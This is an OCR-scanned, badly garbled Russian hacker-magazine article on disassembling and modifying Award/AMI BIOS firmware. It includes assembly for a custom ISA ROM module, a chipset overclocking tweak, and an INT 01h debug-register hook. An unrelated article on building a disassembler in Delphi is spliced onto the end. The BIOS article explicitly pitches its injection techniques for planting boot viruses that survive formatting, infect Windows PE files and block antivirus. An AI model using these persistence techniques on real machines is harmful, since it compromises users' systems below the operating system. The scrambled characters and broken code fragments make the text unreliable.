СРЕІСООЕ.ВІЫ — это просто набор микрокодов для всех поддер- 
живаемых ВІОЗ'ом моделей процессоров. Микрокоды предназ- 
начены для исправления ошибок, допущенных при разработке 
железа, однако для нормальной работы системы этот модуль в 
общем-то не критичен. Хотя при желании можно скачать свежую 




версию микрокодов с сайта Іпіеі или АМО и залить их в ВІОЗ. 
АСРІТВЕ.ВІМ — еще один модуль данных. Здесь содержится таб- 
лица АСРІ (АсІѵапсесІ Сопіідигаііоп апсі Ро\л/ег Іпіегіасе - «Улуч- 
шенный интерфейс питания и конфигурации»). АСРІ - это отнюдь 



[результат работы утилиты ВР.ЕХЕ, распечатывающей список модулей, 
слагающих ВІОЗ, с их основными характеристиками] 



[хакер 06 [78] 05 > КОДИНГ 109 ] 




[хакер 06 [78] 05 > КОДИНГ 1 1 О] 




[^^А^-ВIОЗ СВОИМ РУКАМИ] 

Любой умеющий держать паяльник в руках может дора- 
ботать материнскую плату, установив на нее сразу две 
микросхемы Р^АЗН-памяти. Тогда между ними можно 
будет переключаться без рискованных манипуляций с 
сйір-ехігасіог'ом. Пример схемы подключения приведен 
ниже. Как видно, ничего сложного в ОиАІ-ВЮЗ'е нет. 
ВЕРСТАЛЬЩИКУ: Нужно зафигарить обе картинки 
рядом с одной подписью 



[принципиальная схема ОиАЬ-ВЮЗ'а и ее материальное воплощение] 3 



не простой менеджер питания, как наивно полагают многие. Это 
еще и «корневой перечислитель» — грубо говоря, самая главная 
шина, управляющая всеми устройствами и автоматически расп- 
ределяющая системные ресурсы (в частности прерывания). Мо- 
дификация этой таблицы открывает большие возможности, одна- 
ко это тема для отдельного разговора. 

_ЕМ_СООЕ.В1М - набор текстовых АЗСІІ-строк, используемых 
ВІОЗ'ом. Вот где можно развернуться начинающим хакерам. Под- 
делать, скажем, версию ВІОЗ'а на «Хакер ЕсІІГІоп». 

АѴѴОРІАЗН.ЕХЕ — утилита для прошивки ВІОЗ. Вполне нормальный 
исполняемый файл, запускаемый из-под МЗ-ООЗ. Так что для на- 
писания универсального прошивальщика ВІОЗ ничего, кроме это- 
го самого ВІОЗ, вообще не нужно! Для написания вирусов, пора- 
жающих ВІОЗ, это очень актуально. 

Рхе.Іот — хотя ВР.ЕХЕ опознала этот модуль как 3031, текстовые 
строки внутри него показывают, что в действительности это набор 
драйверов для интегрированных устройств, а именно: ѴІА ѴТ6105 
РГіІпе III РазГ ЕТТіегпеТ АсІарТег, ѴІА ѴТ6105М РТііпе III МападетепТ 
АсІарГег, ІпГеІ ПЫОІ, РХЕ-2.0 (ЬиіІсІ 082). 

Помимо вышеперечисленных, в ВІОЗ могут входить и другие моду- 
ли, например: ѴѲА ВІОЗ для поддержки интегрированного видео, 
апГІ_ѵІг.Ып для защиты загрузочных секторов от вирусов, 
с1есоппр_Ык.Ып — обособленный ША-распаковщик и т.д. Мы так- 
же можем добавлять свои собственные модули для поддержки ІЗА 
и РСІ-устройств, чем мы впоследствии с успехом и воспользуемся 
(естественно, никаких своих устройств у нас нет, это просто один 
из многих способов внедрения постороннего кода в ВІОЗ). 
Впрочем, модификацией ВІОЗ'а мы займемся потом, после того 
как разберемся с уже имеющимися модулями. Чтобы начать ди- 
зассемблирование, необходимо найти их точки входа. Существу- 
ет по меньшей мере пять основных типов модулей, и у каждого 
свои особенности в этом плане. 

У первых точка входа расположена по смещению 10Гі байт от 
конца модуля. Если здесь находится ]тр, значит, это наш клиент! 
Так, в частности, устроены загрузочный и основной блоки. 

[модуль 9а69ѵра1.ВІМ с точкой входа по смещению ЮЛ от конца 
(первый байт точки выделен)] 

00000000: 42 73 47 05 00 ЕО 00 РО-00 10 00 40 00 40 00 00 
00000010: 1Е В8 40 00 8Е 08 С6 86-4Р 02 00 Р7 06 10 00 01 
00000020: 00 ОР 84 ЕО 00 ВО 02 ВА-Р7 03 ЕЕ ЕВ 00 ЕВ 00 РА 

0001 РРОО: 88 1 Е 00 01 1 Р 61 СР 00-00 50 43 49 2Р 49 53 41 
0001 РРЕО: 00 60 03 ЗС Е7 45 84 01-00 01 80 00 80 05 ЗЕ 93 
0001 РРРО: ЕА 5В ЕО 00 РО 30 36 2Р-31 39 2Р 30 33 00 РС Е5 

Блоки второго типа содержат сигнатуру 55 АА в самом своем на- 
чале. Следующий за ней байт определяет длину модуля, выра- 
женную в 512-байтовых секторах (например ЮІт сеіаоров соот- 
ветствует 8 килобайтам). Точка входа у них находится по смеще- 
нию ОЗЬ от начала, и обычно на ней стоит ТМР, Так устроены 
рхе.Іот, І815.ѵда, все ІЗА/РСІ-модули и многие другие блоки. 

[модуль рхе.Іот с сигнатурой 55 АА] 

00000000: 55 АА 50 Е8 1 Е 1 6 СВ 8Р-Р9 03 00 00 00 00 00 00^ 
00000010: 00 00 00 00 00 00 20 00-40 00 60 00 2Е 8В СО 90 
00000020: 55 4Е 44 49 16 39 00 00-01 02 ВО 10 00 08 60 97 



Блоки третьего типа начинаются с обыкновенного текстового (или 
не совсем) заголовка, заканчивающегося нулем, за которым на- 
ходится точка входа, опять-таки, в подавляющем большинстве 
случаев представляющая старый добрый ЛѴІР. Типичные предс- 
тавители подобных блоков: а\л/агс1ех1.гот, с1есотр_Ык.Ып, 
ап1і_ѵІг.Ып. 

[модуль с1есотр_Ык.Ып с текстовым заголовком, завершаемым ну- 
лем в начале] 

00000000: 30 20 41 77 61 72 64 20-44 65 63 6Р 60 70 72 65 = Аѵѵагсі Оесотрге 
00000010: 73 73 69 6Р 6Е 20 42 69-6Р 73 20 3 0 00 66 60 51 ззіоп Віоз = ... 
00000020: 06 56 А1 04 01 80 Е4 РО-80 РС РО 75 ЗА Е8 В2 ОА 

Блоки четвертого типа лишены заголовка и сразу же начинаются 
с точки входа. Наглядный пример тому — а\л/агс1еу1.гот. 

[модуль аѵѵагсіеуі.гот с точкой входа в самом начале] 

00000000: Е9 00 00 90 ЕА 09 00 00-А8 8С С8 8Е ЕО В8 00 АО 
00000010: 8Е ВО 66 ВС РО ЕР 00 00-В8 00 РО 8Е СО ВЕ В7 02 
00000020: 26 ОР 01 1 С 66 60 1 Е 06-0Р АО ОР А8 ВА Р8 ОС 66 

Блоки ПЯТОГО типа вообще не имеют точки входа и представляют 
собой набор вспомогательных процедур, вызываемый из осталь- 
ных блоков, поэтому их следует дизассемблировать в послед- 
нюю очередь, когда структура остальных блоков уже ясна. 
Поскольку в ВІОЗ'е интенсивно используются абсолютные адре- 
са, ка>кдый дизассемблируемый блок должен быть загружен по 
своему родному смещению, иначе у нас ничего не получится. ЮА 
автоматически запрашивает сегмент на смещение двоичных 
файлов перед загрузкой, а вот в НІЕѴѴ'е для этой же цели можно 
использовать базирование. Ну не считать же все адреса каждый 
раз вручную, верно? Мы же хакеры, а не лошади! 

Сложнее всего дизассемблирование интеловских ВІОЗ'ов. Факти- 
чески это АМІ ВІОЗ'ы, но какие-то они извращенные. Точка входа 
лежит где-нибудь в середине файла, и чтобы ее найти, необходи- 
мо отыскать последовательность РА/РС/8С С8/8Е ОО 
(СІ/СІО/МОѴ АХ,СЗ/МОѴ 33,АХ). Собственно, это не совсем 
точка входа, но нечто очень к ней приближенное. Впрочем, для 
наших целей она вполне подходит, 

[боевое крещение] Разобравшись с устройством ВІОЗ'а, мы можем 
написать для него свое собственное расширение. Проще всего 
добавить к ВІОЗ'у нестандартный ІЗА РОМ модуль. Обычно такие мо- 
дули используются для управления интегрированными ІЗА-контрол- 
лерами (например дополнительным СОМ-портом). Разумеется, ни- 
каких контроллеров у нас нет, ІЗА-слоты давно исчезли с материнс- 
ких плат, но модули их по-прежнему поддерживаются ВІОЗ'ом. 
Загружаясь после того, как отработает основной код ВІОЗ (огідіпаі.ітр), 
ІЗА-модуль получает полный доступ ко всему оборудованию, в том числе 
и РСІ-шине. В принципе, при желании можно добавить и РСІ-модуль, од- 
нако это намного сложнее. Потребуется взвести регистр ХРОМВАР 
(Ехрапаоп РОМ Вазе асісігезз) и под делать идентификатор РСІ-устройства 
в заголовке модуля так, чтобы он совпадал с идентификатором реально 
существующего устройства. Нам ни к чему подобные удовольствия. 
ІЗА-модуль представляет собой обычный двоичный файл с разме- 
ром, кратным 200П байтам, всегда загружающийся по адресу 
хххх:00001п. Часть оборудования (оперативная память, клавиату- 




[ИЗ ВЮЗ в ѴѴІМООѴѴЗ] 

Как из ВІОЗ’а проникнуть внутрь операционной системы? Мы можем перехватить прерывание ІМТ 13Іі (и не давать 
его изменять!), оставаясь в ВІОЗ'е резидентно. Только что это дает? ѴѴІпсІоѵѵз не использует ІМТ 13Іі, а потому наш 
код будет активен только на стадии первичной загрузки операционной системы. Но ведь мы же можем читать/писать 
секторы? Правда, писать собственный драйвер файловой системы нам лень. Хорошо, если это РАТ, а как быть с 
МТРЗ? Да как два пальца об асфальт! Последовательно сканируя секторы, находим сектор с сигнатурой М2 в нача- 
ле. Смотрим: если за концом ЕХЕ-заголовка расположена РЕ-сигнатура, значит, это РЕ-файл и мы можем внедрять- 
ся в него любым приемлемым способом. Внедряться лучше всего в РЕ-заголовок, поскольку файл может быть фраг- 
ментирован, и не факт, что все последующие секторы принадлежат ему, а не какому-нибудь другому ни в чем не по- 
винному файлу. 

Чтобы гарантированно получить управление в ѴѴІпсІоѵѵз, необходимо внедриться в максимально большое количество 
файлов. Конечно, системные файлы будут немедленно вылечены ЗРС, а со всеми остальными справится антивирус, 
однако и ЗРС, и антивирус являются обыкновенными исполняемыми файлами, которые запустятся уже после того, 
как наш код получит управление. Естественно, он может противостоять всем зловредно настроенным программкам 
— например просто блокировать их выполнение. 




Существует множество гото- 
вых прошивальщиков, под- 
держивающих практически 
все известные типы ВІОЗ'ов, 
причем некоторые из них 
распространяются вместе с 
исходными текстами. Одним 
из таких прошивальщиков 
является знаменитый иШ- 
ЯА5Н (шшш.ипШазй.огд). 




шш.деосіііез.сот/татапаір - 
сайт улетного индонезийского 
хакера, исследовавшего кучу 
ВІОЗ'ов вдоль и поперек и выт- 
воряющего с ними такое, что 
другим дже не снилось (епд). 



ра, видеокарта) к моменту его вызова уже инициализирована, а 
часть (жесткие диски, к примеру) — еще нет. Прерывания ІМТ ЮГі 
(видео) и ІМТ 16Ті (клава) можно использовать не боясь, а вот с ІМТ 
13Ті (диски) просто так ничего не выйдет. 

В начале ІЗА-модуля расположен стандартный 55 АА-заголовок, 
о котором мы уже говорили, а в последнем байте хранится конт- 
рольная сумма. Простейший ІЗА-РОМ модуль, написанный на 
РАЗМ'е, выглядит так: 

[ІЗА-модуль] 



епіегв: 



1ех( 



ХОП ОХ, ОХ 

ХОП АХ, АХ 
ІМТ 161т 
СМР АЦ ООН 
32 іприі 
ХОП АН, АН 
АОО ОХ, АХ 
СМР ОХ, 'пт' + '3' + 
ЗМ2 епіегз 
ПЕТР 

ОВ "Маігіх Наз уои!",0 



; контрольная сумма 

; функция чтения символа с клавы 
; читаем символ 
; это ЕМТЕП? 

; если ЕМТЕП, начинаем ввод сначала 
; очистить скэн-код 
; считаем СПС 
о' + Т + Т 

; если это не «мыщъх», продолжаем ввод 



Пропустив исходный файл через транслятор (РАЗМ ІЗАОЕМ.АЗМ), 
мы получим на выходе ІЗАОЕМ.ВІМ. Загружаем его в НІЕѴѴ и допол- 
няем нулями до размера, кратного 2001т байтам, затем рассчиты- 
ваем контрольную сумму: просто складываем все байты друг с 
другом и находим остаток от деления на 1000. То есть 
5ит=(зит+пехТ_ЬуТе)&0хРЕ. Контрольная сумма всего блока долж- 
на равняться нулю, следовательно, последний байт блока равен 
(100Ті-зит)&0хРР. Для расчета контрольной суммы я написал не- 
хитрый скрипт для ІСА: 




При загрузке компьютера модуль выводит приветствие на экран 
и ждет слова «мыщъх», набранного на латинской раскладке 
(ЕМТЕП — начать ввод заново). Что-то вроде дополнительной 
парольной защиты, которую без выдирания ВІОЗ'а никто не взломает. 

; ІЗАОЕМ.АЗМ 

изеіб ; ІЗА-модуль работает в 16-разрядном сегменте 
□В 551т, ОАЬ ; загрузочная сигнатура 
8 011т ; размер блока в 2001т-байтовых секторах 

х_сос1е ; передача управления нашему коду 



подготовка регистров 



аиіо а; аиіо Ь; Ь=0; 

Ра1сІтВу1е(МахЕА()-1 , 0); 
іог(а=МІпЕА();а<МахЕА();а-г-н) 

{ 

Ь = (Ь + Ву1е(а)) & ОхРР; 

} 

Ь = (0x100 - Ь) & ОхРР ; 

Меззаде("\п%х\п",Ь); 

Ра1сІтВу1е(МахЕА()-1 , Ь); 

Как вариант можно использовать Нех ѴѴогкзГіор (Тооіз -> 
Ѳепегаіе СГіеск зигп -> 8 Ы1 сГіескзит), В нашем случае Нех 
ѴѴогкзГюр сообщает СЕГі, следовательно, последний байт ра- 
вен: ЮОГі - СЕГі == ЗІГі, Записываем его по смещению ІРРГі и 



МОѴ ОХ, 101ОІТ 
МОѴ 31, іехі 
ХОП ВХ, ВХ 
МОѴ СХ,1 



вывод строі 



021т 




; куда выводить (ОН - У, 01 - X) 
; что выводить 

; начальный цвет символов — 1 
; выводимі 





ЕООЗВ 
ТЕЗТ АЕ, АЕ 
02 Іприі 

МОѴ АН, 091т 
ІМС ВЕ 
ІМТ 101т 
ІМР рг1п1_з1г1пд 



; функция управления курсором 
позиционируем курсор 
; перемещаемся на следующую позицию 

; загружаем очередной символ 
; конец строки? 

; если конец, то выходим 

; функция печати символа 
перебираем все цвета 
; печатаем символ 
;мотаем цикл 



*к 







[различные типы микросхем 
РЕАЗН-памяти] 








ГП 



1 
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[хакер 06 [78] 05 > КОДИНГ 1 1 2 ] 



[РАЗГОН СИСТЕМЫ] 

Чтобы разогнать систему, необходимо написать свой 
РОМ-модуль, настраивающий чипсет на максималь- 
ную производительность. Конфигурирование чипсета 
осуществляется через специальные регистры, находя- 
щиеся глубоко внутри материнской платы и подклю- 
ченные к шине РСІ. Описание регистров можно найти 
в даташите. Где-то там будет раздел РСІ СопЛдигаІіоп 
Редізіегз или что-то в этом роде. Сравнение конфигу- 
рационных возможностей чипсета с ВЮЗ 8е1ир пока- 
зывает, что часть настроек обычно бывает умышленно 
заблокирована производителем материнской платы. 

В частности, регистр 80000064И чипсета ѴІА АроІІо Рго 
133 (у меня дома такой - прим. Горлума) управляет че- 
редованием банков памяти, в то время как многие ма- 
теринские платы на его основе такой возможности не 
имеют. Ну и как нам ее получить? 

У РСІ-шины есть два замечательных порта. В порт СР8М 
заносится адрес чипсетного регистра, с которым мы хо- 
тим работать, а через порт СРСб происходит обмен дан- 
ными. Большинство подобных регистров представляют 
собой набор управляющих битов, поэтому перед тем как 
что-то записывать в порт СРСІі, мы сперва должны про- 
читать текущее состояние чипсета, взвести/опустить 
нужные нам биты при помощи операций ОВ и АМО, пос- 
ле чего затолкать обновленный регистр на место. 

На языке ассемблера это выглядит так: 

; расширение ВІОЗ'а, задействующее режим чередования ОВАМ-банков 



; (только для чипсета ѴІА АроІІо Рго 133! Обладатели других чипсетов 
; должны заменить константы в соответствии со своей документацией) 



МОѴ еах, 80000064Л 

МОѴ бх, 0СР8ІТ 
ОЫТ бх, еах 

МОѴ бх, Осісіт 
ІЫ еах, бх 

ОП еах, 000202026 
ОЫТ бх, еах 



; регистр чипеста, управляющий 
; ОПАМ-контроллером 
; РСІ-порт (адрес регистра) 

; выбираем регистр 

; РСІ-порт (данные) 

; читаем содержимое регистра 800000646 
; взводим биты, устанавливающие 
; режим чередования 
; записываем регистр чипсета 



Данный модуль может быть либо оформлен как ІЗА-ВОМ, 
либо внедрен в Ьооі-блок. Главное, чтобы он получил уп- 
равление после того, как ВЮЗ произведет первичную ини- 
циализацию оборудования, иначе наши настройки будут 
проигнорированы! Зашив обновленную прошивку в ВЮЗ, 
мы с удовлетворением замечаем, что быстродействие сис- 
темы ощутимо возросло. Таким же точно образом можно 
редактировать и остальные регистры, отсутствующие в 
ВЮЗ Зеіир, разгоняя систему до скорости реактивного ге- 
парда, которому в известное место залетел шмель. 
Собственно говоря, это даже не разгон, а законное ис- 
пользование возможностей чипсета, почему-то не за- 
действованных материнской платой. 




[пропускная способность подсистемы памяти о режимом 
чередования по умолчанию] 



[пропускная способность подсистемы памяти после разгона] 






ѵтш.ют.Ьу - статьи по 
прошивке и доработке 
прошивок плюс уникальный 
инструментарий (шв). 



т 



Фирма Аттб была выкуплена 
Ріюепіх'ом и в настоящее 
время существует только как 
бренд (торговая марка). А это 
значит, что Рбоепіх-ВІ05‘ ы 
устроены точно также, как и 
Ашагб, поскольку их пишет 
одна и та же (рирма. 



сваливаем из НІЕѴѴ'а. Добавля- 
ем новый модуль в прощивку 
(СВГгОМ.ЕХЕ 4РЕ83619.ВІМ /ІЗА 
ІЗАОЕМ.Ып) и с замиранием 

сердца прожигаем ВЮЗ утилитой ПМІРІАЗН. Перезагружаем ма- 
шину, и, еоли вое было оделано правильно, экран должен быть 
похож на то, что ты видишь на скриншоте. Работает! 

[работа с жестким диском] Теперь поговорим о том, как написать 
что-нибудь, что работало бы из ВІОЗ'а с жесткими дисками (нап- 
ример ЬооТ-вирус, который бы автоматически восстанавливался 
после форматирования). Прерывание ІМТ 136 здесь не поможет, 
поскольку ІЗА-блок отрабатывает еще до инициализации дисков, 
так что приходится писать резидент (а еще говорят, что вирусы в 
ВІОЗ'е не живут!). 

Основной код ВІОЗ'а всегда загру>кает ЬооІ/МВР-сеісгор по адресу 
00(Ю:7С0Ш6 и передает ему управление. Установив на этот адрес аппа- 
ратную точку останова (Ьгеакроіпі), мы всплывем в тот момент, когда все 
оборудование уже инициализировано и работает как часы. 

Весь вопрос в том, куда спрятать наш код. По умолчанию ІЗА-блок 
распаковывается в оперативную память, которая впоследствии злоб- 
но затирается всеми, кому не лень, а значит, в нем жить нельзя. Дав- 
ным-давно, когда землей владели динозавры, а на компьютерах сто- 
яла МЗ-ООЗ, многие вирусы ухитрялись разместиться внутри таблицы 
прерываний, верхняя половина которой остается незадействован- 
ной и по сей день. От адреса 0000:01 Е06 до -0000:03846 простилает- 
ся ничейная область, в которой можно разместить почти 360 байт 
своего обработчика. Для наших целей этого вполне достаточно. 
Следующий код устанавливает аппаратную точку останова и пе- 



рехватывает прерывание ІМТ 016, которое генерируется при пе- 
редаче управления на загрузочный сектор. Обработчик преры- 
вания пусть каждый пишет самостоятельно. Фактически он 
представляет собой обыкновенный Ьооі-вирус, образец которо- 
го легко найти в Сети. 

[перехватчик, который передает управление нашему коду в момент 
загрузки Ьооі-сектора] 



; перехватываем ІМТ 01 6 
МОѴ ах, СЗ 
ХОВ Ьх, Ьх 
МОѴ 03, Ьх 

; смещение нашего обработчика относительно сегмента 00006 
МОѴ [Ьх], оНвеІ оиг_ѵх_сосІе 
МОѴ [Ьх+2], Ьх 
МОѴ 03, ах 

; устанавливаем точку останова на исполнение 
МОѴ еах, 3026 

; линейный физический адрес точки останова 
МОѴ еЬх, 7С006 

; заносим значения в отладочные регистры 
МОѴ с1г7, еах 
МОѴ бгО, еЬх 



[модификация Ьооі-блока] Вышеописанный способ внедрения 
кода работает только на А\л/агс1 и отчасти Рбоепіх, что не есть хо- 
рошо. Существует универсальный способ, совместимый со все- 
ми ВІСЗ'ами, однако он далеко не так прост. Ведь единственное 
место, куда мы можем внедриться везде, — это ЬосЛ-блок, а точ- 
нее, безусловный переход, леікоіций по адресу Р0С10К:ЕЕЕ06. 







[ПРЕРЫВАНИЯ] 

Для программирования ВІОЗ'а необходимо знать ос- 
новные прерывания как свои пять пальцев. Вот пара 
отличных руководств по теме; 

ШАрхитектура ввода-вывода персональных ЭВМ ІВМ 
РС. Описание устройства компьютера для начинаю- 
щих на русском языке. 
Шр://гесІІІЬ.пагосІ.ги/а5тсІос$/а5т_сІос_07.гір. 

ЕВаІ? Вгоѵѵп Іпіеггирі ^І5^. Справочник по прерывани- 
ям для профессионалов на английском языке. 
Шр://ѵѵ\л/ѵѵ. сіуте. сот/гЬгоѵ^п.Ыт. 




[хакнутый ВІОЗ, ожидающий ввода секретного пароля] 



Огромный список полезных 
для программирования 
ВІОЗ'а ресурсов ты можешь 
найти на диске вместе с 
остальным ценным добром. 

Давай возьмем какой-нибудь 
ВІОЗ и дизассемблируем его 
(пусть для определенности это 
будет АМІ 6728 ѵег. 52 от матери- 
нской платы М5І 865РЕ МеоЗ-Р, 
имя файла прошивки — А6728ІМ3.520). 





Утилиты для работы с 
ВІОЗ' ом можно найти на сай- 
те шш\л/.гот.бу. Там же нахо- 
дится замечательный патчер 
ВІОЗ'а ВР.ехе (сокращение 
от «ВІОЗ Раібег»), исправля- 
ющий ошибки в известных 
ему прошивках и разблоки- 
рующий многие заблокиро- 
ванные возможности. 



перехватить вектор прерывания. Это конец? Вовсе нет, это только 
начало! Мы знаем, что всякий ЬооГ-блок, независимо от своей по- 
ловой принадлежности, выполняет первичную инициализацию 
оборудования, в частности подключает внешние ВІОЗ'ы, находя- 
идиеся на картах расширения. И делает это он тогда, когда опе- 
ративная память уже подготовлена к работе, 

В нашем случае код, отвечающий за это, находится по смещению 
707806 от начала файла. 



[волшебная последовательность 55 АА 7х] 



00070780: 26813Р55АА 
00070792: 7410 



СМР ез:[Ьх], 0АА55 

ОЕ 0000707А4 



ВІ08 РЮМ Іауоиі 




Все, что нам надо, — найти 
последовательность типа 55 
АА 7х ?? (СМР XXX, АА556) и 
заменить 7х ?? на ЕВ хх (ЗМР 
ЗЕЮРТ XXX, где XXX — указатель 
на наш код, внедренный в 
Ьооі-блок). Естественно, пе- 
ред затиранием 7х 7? его не- 
обходимо сохранить в своем 
коде. Вот теперь можно уста- 
навливать перехватчик на 
Ьооі-сектор. Причем, посколь- 
ку наш код находится в ВІОЗ'е 
в неупакованном виде, ютиться 
в таблице прерываний совер- 
шенно необязательно и можно 
перенаправить вектор преры- 
вания ІЫТ 016 прямо в ВІОЗ! 



[примерно так устроен АѵѵагсІ ВІОЗ] 






шш.Ыозтобз.сот - 
портал, посвященный ВІОЗ' 
у и его доработке (епд). 



[вскрытие показало] Кодинг 
ВІОЗ'а - это нечто! Это самый 
низкий уровень, жить на нем 
необыкновенно интересно и 
познавательно. Это настоящая 
школа программирования с 
практически неограниченными возможностями для самовыра- 
жения. Главное — фантазию иметь! Полет нашей мысли сдержи- 
вает лишь железо. Мы можем свободно переходить в защищен- 
ный режим, крутить любые регистры и делать вообще все, что 
нам вздумается! И это так просто! © 



[внешний вид типичного Ьооі-блока (фрагмент)] 

0007Р020: 80 00 00 00-00 31 49 38-36 35 78 78-78 00 00 00 
0007РО30: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 



0007РР30: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 
0007РРЕ0: 31 49 38 36-35 58 58 58-00 00 00 00-00 00 00 00 
0О07РРР0: ЕА СО РР ОО-РО 31 31 2Р-31 36 2Р 30-34 00 РСОО 

В хвосте Ьооі-блока находится -2006 нулей, чего вполне доста- 
точно для размещения нашего кода. Исправляем ЕА СО РР ОО-РО 
(ОМР 0Р000:0РРСО) на ЕА 30 7Р 00 РО (ЗМР ОРООО:7РЗО), копируем 
свой код поверх нулей и радуемся жизни. Естественно, в других 
прошивках эти цифры могут несколько отличаться, поэтому перед 
внедрением в ВІОЗ наш код должен автоматичеоки находить 
длинную последовательность нулей в его хвосте. Это легко. 
Сложнее пересчитать контрольную сумму. Разные ВІОЗ'ы хранят 
ее в разных местах. Что делать? Матчасть учить, вот что! Контроль- 
ная сумма Ьооі-блока равна нулю. Это закон. Поэтому нам дос- 
таточно рассчитать контрольную сумму нашего кода и добавить к 
его концу два байта (у Ьооі-блоков, в отличие от ІЗА, подсчет конт- 
рольной суммы ведется не по байтам, а по словам), добившись, 
чтобы его контрольная сумма равнялась нулю, тогда и контроль- 
ная сумма всего Ьооі-блока будет равна нулю! Искать местопо- 
ложение оригинальной контрольной суммы не нужно! 

Итак, і^в Ьооі-блоке. Ну и что мы будем делать? А ничего! Ника- 
киеХйф^ства еще не инициализированы, даже стека нет. Опе- 
Івная іммять также не подготовлена, поэтому установка аа 
ііаратных т^йкрстанова ничего не даст, мы просто не смд 
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Дизасс:емблер 
своими руками 

ДИЗАССЕМБЛЕР — ЭТО УТИЛИТА, С КОТО- 
РОЙ ТЫ ДОЛЖЕН БЫТЬ ЗНАКОМ НЕ ПОНАС- 
ЛЫШКЕ, ВЕДЬ ЭТО ЕДВА ЛИ НЕ ОСНОВНОЙ 
ИНСТРУМЕНТ ХАКЕРА. С ПОМОЩЬЮ НЕГО 
МОЖНО ПОНЯТЬ, ЧТО ДЕЛАЕТ ТА ИЛИ ИНАЯ 
ПРОГРАММА, ПРОАНАЛИЗИРОВАТЬ ЗАЩИТУ, 

В КОНЦЕ КОНЦОВ, БЕЗ НЕГО ТВОЙ ЛЮБИ- 
МЫЙ ОТЛАДЧИК НЕ ПОКАЗЫВАЛ БЫ НИЧЕГО 
ПУТНОГО И ВЫЯВЛЕНИЕ БАГОВ В ПРОГРАМ- 
МАХ СТАЛО БЫ НА ПОРЯДОК СЛОЖНЕЕ. ДИ- 
ЗАССЕМБЛЕР — ВЕЩЬ ДЕЙСТВИТЕЛЬНО НЕ- 
ЗАМЕНИМАЯ, И СЕГОДНЯ Я ПОКАЖУ, КАК РЕ- 
АЛИЗОВАТЬ ЕЕ НА ОЕЬРНІ I ѲРсН (\ллллл/.с1о1'Ях.пе1') 

Создание простенького 
дизассемблера в 
домашних условиях 

Все же, для чего может пригодиться само- 
дельный дизассемблер? Полноценная 
протрамма вроде ЮА — это понятно, такая 
нужна всякому, но зачем свой собственный 
простенький дизассемблер? Оказывает- 



На диске лежит исходник нашего дизассемблера, тестовый проект, набор 
компонентов табСоІІесІіоп, исходник ОеОе и ассемблер Разт. Пользуйся! 

ся, применений такой классной штуковине куча. Вспомнить хотя 
бы упаковщики исполняемых файлов, сжимающие твои протрам- 
мки более чем в два раза (к примеру, ІІРХ или АЗраск). Знаешь ли 
ты, как пишут распаковщики для таких прог? Ты правильно дума- 
ешь, что тут не обошлось без темы этой статьи. Ядро распаковщи- 
ков, особенно статических (распаковывающих протрамму без за- 
пуска), основано именно на дизассемблере, который в совокуп- 
ности с анализатором кода позволяет понять код подопытной 
протраммы и распаковать ее, используя нужный алгоритм. Если 
ты когда-нибудь решишь написать такой распаковщик, тебе без 
самопального дизассемблера не обойтись. А задумывался ли ты, 
как работают все современные защиты программ? Чтобы извра- 
тить код до неузнаваемости, они дизассемблируют твою прогу ко- 
манда за командой, делая код метаморфным и внедряя попутно 
мусорные инструкции. Я уже не говорю про виртуальные машины, 
которые вообще представляют собой кодер-декодер ассемб- 
лерных команд в псевдокод и наоборот. В общем, применений у 
самодельного дизассемблера может быть куча, полезен он нео- 
бычайно. Осталось только его написать :). 

[принцип работы] Ты уже наверняка задаешься вопросом: «А как 
вообще дизассемблер работает и почему бы не написать его с ну- 
ля?». Ты получишь ответ, если осознаешь, насколько сложно напи- 
сать дизассемблер, используя только интеловские мануалы, Я 
лишь кратко рассмотрю принципы кодирования ассемблерных ко- 
манд, чтобы принцип дизассемблирования стал более понятным. 
Каждый байт секции кода твоей программы участвует в форми- 
ровании той или иной машинной инструкции. Чтобы правильно 
определить начало следующей команды, нужно правильно (как 
бы это сделал процессор) дизассемблировать предыдущую. 
Для этого необходимо четко представлять себе формат машин- 
ных команд. Взгляни на схему. 
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[формат инструкции х86 процессора] 




[интерфейс нашей программы] 

Единственный обязательный параметр ко- 
манды — это код операции (опкод), ос- 
тальные будут или не будут использовать- 
ся в зависимости от сложности команды. 
Например префикс — байт, идущий пе- 
ред опкодом, встречается довольно ред- 
ко, зато и сделать он может очень многое, 
В частности, значение префикса ббН ме- 
няет размерности регистров и адресов 
для инструкции. При этом в 1б-битной 
программе этот префикс позволяет юзать 
32-битные регистры, а в 32-битной — 16- 
битные, Поля ГПОСІІ2/М позволяют опреде- 
лить формат данных, которыми оперирует 
инструкция, будь то регистры, адреса и 
прочее. Поле ЗІВ расширяет возможности 
адресации 32-битного режима. Процес- 
сор узнает о присутствии этого поля по 
битам ЮОЬ в поле Р/М. Далее идут непос- 
редственно смещения и операнды, кото- 
рые должны быть описаны в структуре 
тосіР/М-нЗІВ. 

Именно расшифровкой этих команд и за- 
нимается дизассемблер. Чтобы его на- 
писать самому с нуля, потребуется море 
сил и времени. Опкодов у х86 процессо- 
ров наделано жуть как много (загляни в 
интеловский мануал и убедись). Каждый 
имеет свои параметры, и каждый надо 
описать. Кодеры, чтобы осуществить ди- 
зассемблирование, обычно просто сос- 
тавляют огромную таблицу опкодов и ис- 
пользуют ее при анализе кода. Ты при- 
кинь, какого размера должна быть таб- 
лица — там одних тоѵ'ов разных будет 
штук 10. А если вспомнить о всяческих 
расширениях вроде ЗЗЕ и 30Мо\л/! — так 
вообще дурно станет. Неужели, чтобы 
написать дизассемблер, самому при- 
дется днями и ночами сидеть над мануа- 
лами по процессорам, выписывая осо- 
бенности той или иной инструкции? Как 
бы не так. Я предлагаю не париться чте- 
нием тысячестраничных мануалов и ис- 
пользовать уже готовые решения. 

[выбираем компонент] Если ты очень силь- 
но постараешься, то найдешь целых два 
бесплатных дизассемблера, которые 
можно внедрить в свою прогу на ОеІрНІ. 
Первый выдирается из исходника ОеОе, 
свободно распространяемого декомпиля- 
тора Оеіріпі. При желании этот исходник ты 
можешь взять на диске или на сайте 
ѵѵѵѵи/.ѵѵазт.ш и самостоятельно его изу- 
чить. Мы же рассмотрим второй дизассе- 



мблер, поставляющийся в виде 
компонента для Оеіріпі и бесп- 
латный для некоммерческого 
использования. Называется он 
тасЮізАзт и входит в состав 
большой библиотеки компонен- 
тов таРСоІІесЕіоп фіір://тасІ- 
зЫ.Ьеі.1--опІіпе.сІе). В «бешеной 
коллекции» помимо дизассемб- 
лера есть еще куча всего инте- 
ресного. Есть, к примеру, «бе- 
шеный Бейсик» (тасІВазіс), но 
это уже совсем другая история. 
